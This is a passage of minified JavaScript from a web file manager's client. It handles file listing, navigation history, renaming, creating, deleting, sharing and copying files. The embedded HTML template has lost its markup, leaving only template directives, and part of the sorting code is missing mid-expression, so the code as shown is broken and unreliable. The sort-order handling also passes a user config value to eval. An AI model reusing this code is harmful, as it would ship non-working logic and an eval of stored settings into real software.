a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up=' ',down=' ';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var i in G.self_share)if(core.pathClear(G.self_share[i].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var i=G.fav_list;for(var t in i)if(core.pathClear(t)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var i=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(i=core.icon("recycle")),$(".menuRecycleButton .ico").html(i)}})},pathTypeChange=function(e){if(e.info){var i=e.info,t=i.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");void 0!=a&&"writeable"!=a||t==G.KOD_USER_RECYCLE||t==G.KOD_GROUP_SHARE||t==G.KOD_USER_SHARE||t==G.KOD_USER_FAV||t==G.KOD_GROUP_ROOT_ALL||t==G.KOD_GROUP_ROOT_SELF?i.can_upload=!1:(i.can_upload=!0,1!=G.is_root&&t==G.KOD_GROUP_PATH&&"guest"==i.role&&(i.can_upload=!1)),"writeable"==a&&1==G.is_root&&(i.can_upload=!0);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];t==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(t)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),i.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var i=e.info,t=e.path_read_write,a=i.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="#download,#rename,#cute,#remove,#zip,#past,#clone,#share,#rname,#createLink,.divider",s="disable";if(i.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(s),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),$(".kod_path_tool").find(o).removeClass("hidden")):($(".kod_path_tool").find(o).addClass("hidden"),$(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(s),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=i.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==i.role){var r=e.group_space_use;if(r){var l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".group_space_use").removeClass("hidden").html(l)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var r=e.user_space,l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".user_space_info").html(l)}"not_exists"==t&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE||a==G.KOD_GROUP_SHARE||a==G.KOD_GROUP_PATH?$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").addClass("hidden"):$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").removeClass("hidden"),1==G.is_root&&i.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n\n
\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{list.name}}\n {{/if}}\n \n
\n
\n\n\n{{else if type=='list_folder'}}\n\n
\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if list.isParent&&list.is_readable}} {{/if}}\n \n
\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{list.name}}\n {{/if}}\n \n
\n
{{LNG.folder}}
\n
\n
{{list.mtime}}
\n
\n
\n{{if list.isParent&&list.is_readable}}\n
\n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n\n
\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{list.name}}\n {{/if}}\n \n
\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
\n
\n\n\n{{else if type=='icon_file'}}\n\n {{if window.inArray(core.filetype['image'],list.ext)}}\n
\n {{if window.G.sid}}\n
\n {{else}}\n
\n {{/if}}\n
\n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
\n {{else if list.content.search('ui.path.list') == 0}}\n
\n {{list.icon |core.icon}}\n
\n {{else}}\n
{{\"folder\" |core.icon}}
\n {{/if}}\n
{{'app_link' |core.icon}}
\n {{else}}\n
\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
\n {{/if}}\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
\n
\n\n\n{{else if type=='list_file'}}\n\n
\n
\n {{if window.inArray(core.filetype['image'],list.ext)}}\n
\n {{if window.G.sid}}\n
\n {{else}}\n
\n {{/if}}\n
\n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
\n {{else if list.content.search('ui.path.list') == 0}}\n
\n {{list.icon |core.icon}}\n
\n {{else}}\n
{{\"folder\" |core.iconSmall}}
\n {{/if}}\n
{{'app_link' |core.icon}}
\n {{else}}\n
\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
\n {{/if}}\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
\n
{{list.ext |window.htmlEncode}} {{LNG.file}}
\n
{{list.size |core.fileSize}}
\n
{{list.mtime}}
\n
\n
\n\n\n{{else if type=='list_split_file'}}\n\n
\n {{if window.inArray(core.filetype['image'],list.ext)}}\n
\n {{if window.G.sid}}\n
\n {{else}}\n
\n {{/if}}\n
\n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
\n {{else if list.content.search('ui.path.list') == 0}}\n
\n {{list.icon |core.icon}}\n
\n {{else}}\n
{{\"folder\" |core.iconSmall}}
\n {{/if}}\n
{{'app_link' |core.icon}}
\n {{else}}\n
\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
\n {{/if}}\n\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
\n
\n{{/if}}\n\n"),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var i=e("../../common/pathOperate"),t=e("../../common/pathOpen"),a=void 0;
+ui.pathOpen=t;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,i,t,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=i&&""!=i&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof t&&t()})}},s=function(){var e=[],i=60,t=0,a=function(a){var n=e.length-1;return n==t&&e[n]==a?r():(t!=n&&(e=e.slice(0,t+1)),e[e.length-1]!=a&&e.push(a),e.length>=i&&(e=e.slice(1)),t=e.length-1,r(),void 0)},n=function(){e.length-1>=t+1&&(o(e[++t],"","",!0),r())},s=function(){t-1>=0&&(o(e[--t],"","",!0),r())},r=function(){var i="disable",a=e.length-1;$("#history_next").addClass(i),$("#history_back").addClass(i),(0!=t||0!=a)&&(t>0&&a>=t&&$("#history_back").removeClass(i),t>=0&&t!=a&&$("#history_next").removeClass(i))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var i=0;e.length>i;i++)e[i]=trim(e[i],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var i=trim(ui.fileLight.path($(this)),"/");i&&-1!=$.inArray(i,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var i=[];ui.fileLight.fileListAll().each(function(){var t=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));t&&e==t.substring(0,e.length).toLowerCase()&&i.push(a)}),a={key:e,path:G.this_path,index:0,list:i}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(i){var t=ui.fileLight.name($(this));-1!=t.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(i).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,i){var t=G.this_path+e;return void 0==i&&(t+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(t)+'"]').length?!0:!1},p=function(e,i){var t,a=0,n="."+i;if(void 0==i&&(n=""),!d(e+n,i))return e+n;for(t=e+"(0)"+n;d(t,i);)a++,t=e+"("+a+")"+n;return t},u=function(e,t){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==t?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==i.strSort(r[a][l],d[l]))break}else if(-1!=i.strSort(r[a][l],d[l]))break;return a+n-1},f=function(t,a,n){ui.fileLight.clear();var o=u(a,t),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:t,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=t&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==t?i.newFolder(a+e,m):i.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",t=ui.fileLight.fileListSelect(),a=ui.fileLight.name(t),o=core.pathFather(ui.fileLight.path(t)),s=ui.fileLight.type(t);if(1==t.length&&n()){if(t.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l=" ";"icon"==G.user_config.list_type&&(l="",t.css({height:t.height()})),$(t).addClass("file_icon_edit").find(".title").html(""+l+"
");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,i.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(t).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},v=function(e){if(e){var i=[];if(0==ui.fileLight.fileListSelect().length)return i;ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),t="folder"==ui.fileLight.type($(this))?"folder":"file";i.push({path:e,type:t})});for(var t="",a=[],n=0;i.length>n;n++){var o=i[n].path;(""==t||0!=o.indexOf(t))&&(t=o,a.push(i[n]))}return a}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var s=ui.fileLight.fileListSelect(),r=ui.fileLight.path(s),l=ui.fileLight.type(s);return{path:r,type:l}},_=function(e,i){for(var t in G.json_data)if("filelist"==t||"folderlist"==t)for(var a=0;G.json_data[t].length>a;a++)if(G.json_data[t][a][e]==i)return G.json_data[t][a]};return{makeParam:v,history:s,getJsondataCell:_,checkSystemPath:n,appEdit:function(e){if(e)i.appEdit(0,0,"user_add");else{var t=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(t));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),i.appEdit(a)}},appList:function(){i.appList(v().path)},appInstall:function(){i.appInstall(v().path)},openEditor:function(){t.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(t.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return t.open(e),void 0;if(void 0!=e)return t.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var i=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,i.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==i.type){var n=a.attr("data-app");i.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=i.type)&&t.open(i.path,i.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var i=ui.fileLight.type($(this));if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var t=ui.fileLight.path($(this)),a=core.path2url(t,!1);e.push({url:a,name:core.pathThis(t),ext:i})}}),t.play(e)}},pathOperate:i,share:function(){i.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(i){i.ui.setWall(e)}),ui.setWall(e),i.setBackground(e)},createLink:function(e){var t=v(),a=ui.fileLight.fileListSelect().last();t.name=trim(a.find(".filename").text()),i.createLink(t.path,t.name,t.type,e,m)},createProject:function(){i.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?t.download(v().path):i.zipDownload(e)},shareEdit:function(){var e=_("path",v().path);try{var t=G.json_data.share_list[e.sid];i.shareBox(t)}catch(a){}},shareOpenWindow:function(){var e=_("path",v().path),i=e.type;"folder"==e.type&&(i=1==e.code_read?"code_read":"folder");var t="./index.php?share/"+i+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(t)},shareOpenPath:function(){var e=v(),i=_("path",e.path);if(!i||!G.json_data.share_list)return t.open(e.path,e.type),void 0;var a=G.json_data.share_list[i.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),t=ui.fileLight.fileListSelect().last();e.name=trim(t.find(".filename").text()),i.fav(e)},recycleClear:function(){i.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e){if(n()){var t=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(t,function(e){var i=_("path",t[e].path);void 0!=i&&(t[e].type="share",t[e].path=i.sid)}),i.remove(t,m,e)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(t){var a=trim($(this).text());t!=e.length-1?i.favRemove(a,"",!0):i.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&i.copy(v(!0))},cute:function(){n()&&i.cute(v(!0),ui.f5)},zip:function(){i.zip(v(!0),m)},unZip:function(e){n()&&i.unZip(v().path,ui.f5,e)},cuteDrag:function(e){i.cuteDrag(v(!0),e,m)},copyDrag:function(e,t){i.copyDrag(v(!0),e,m,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(v(!0),e,m)})},info:function(){i.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),i.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:i.clipboard}}),define("app/common/pathOperate",[],function(e){var i=["/","\\",":","*","?",'"',"<",">","|"],t=["/","\\"],a=function(e){var a=function(e,i){for(var t=i.length,a=0;t>a;a++)if(e.indexOf(i[a])>0)return!0;return!1},n=t;return G.system_os&&"windows"==G.system_os&&(n=i),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var i=[],t=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)i.push({type:t(e[a].type),path:urlEncode(t(e[a].path))});return"list="+jsonEncode(i)},o=function(e,i){for(var t="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,i.length)>a;a++)if(e.charAt(a)!=i.charAt(a)){var n=t.indexOf(e.charAt(a)),o=t.indexOf(i.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>i.charAt(a)?1:e.charAt(a)
c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},l=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof i&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof i&&(Tips.close(e),i(e.info))}}),void 0):("function"==typeof i&&i(),void 0)}},c=function(e,i,t){return e&&i&&e!=i?a(core.pathThis(i))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(i),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0):void 0},d=function(e,i,t){if(!(1>e.length)){var a=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=n(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",a=LNG.share_remove),(G.this_path==G.USER_RECYCLE||"recycle_clear"==e[0].type)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",a=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+" ");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){if(Tips.close(t),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=t.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}a==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof i&&i(t)}})};t===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:a,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var i=e.path,t="folder"==e.type?"folder":"file";1>i.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(i),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),f(e.data);else{G.self_share=e.info;var a={path:i,type:t,name:core.pathThis(i)};h(a,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(t),$(".content_info input[name=path]").val(i),$(".content_info input[name=name]").val(core.pathThis(i)+"(1)"),"file"==t&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(i,t){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(i),void 0!=t&&t()})},h=function(e,i){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=i&&i(e)}})},m=function(i){var t=e("./tpl/share.html"),a=template.compile(t),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),i=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var t=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(t),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var 